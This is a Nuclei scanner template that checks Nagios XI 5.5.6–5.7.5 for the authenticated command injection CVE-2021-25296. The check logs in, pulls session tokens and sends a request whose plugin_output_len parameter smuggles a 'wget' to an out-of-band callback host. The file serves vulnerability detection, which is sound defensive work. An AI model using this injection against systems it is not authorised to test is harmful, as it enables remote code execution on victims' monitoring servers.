nuclei-templates/cves/2021/CVE-2021-25296.yaml

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id: CVE-2021-25296
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info:
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name: Nagios XI versions 5.5.6 to 5.7.5 - Command Injection
author: k0pak4
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severity: high
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description: |
Nagios XI versions 5.5.6 to 5.7.5 are affected by OS command injection. An authenticated user can gain code execution due to unsanitized URL paramaters.
reference:
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
- https://github.com/rapid7/metasploit-framework/pull/17494
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- https://nvd.nist.gov/vuln/detail/CVE-2021-25296
- http://nagios.com
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-25296
cwe-id: CWE-78
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metadata:
shodan-query: title:"Nagios XI"
verified: "true"
tags: rce,oast,authenticated,msf,cve,cve2021,nagiosxi,kev
requests:
- raw:
- |
GET /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
- |
POST /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
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nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
- |
GET /nagiosxi/index.php HTTP/1.1
Host: {{Hostname}}
- |
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@timeout: 20s
GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=windowswmi&check_wmic_plus_ver=1.65&ip_address=127.0.0.1&domain=127.0.0.1&username=username&password=password&plugin_output_len=9999%3bwget%20{{interactsh-url}}%3b HTTP/1.1
Host: {{Hostname}}
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cookie-reuse: true
matchers-condition: and
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matchers:
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- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: word
part: body_4
words:
- "Event Log"
- "Display Name"
condition: and
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- type: status
status:
- 200
extractors:
- type: regex
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name: nsp
part: body
group: 1
regex:
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- "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
internal: true
- type: regex
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part: body
name: nsp_auth
group: 1
regex:
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- "var nsp_str = ['\"](.*)['\"];"
internal: true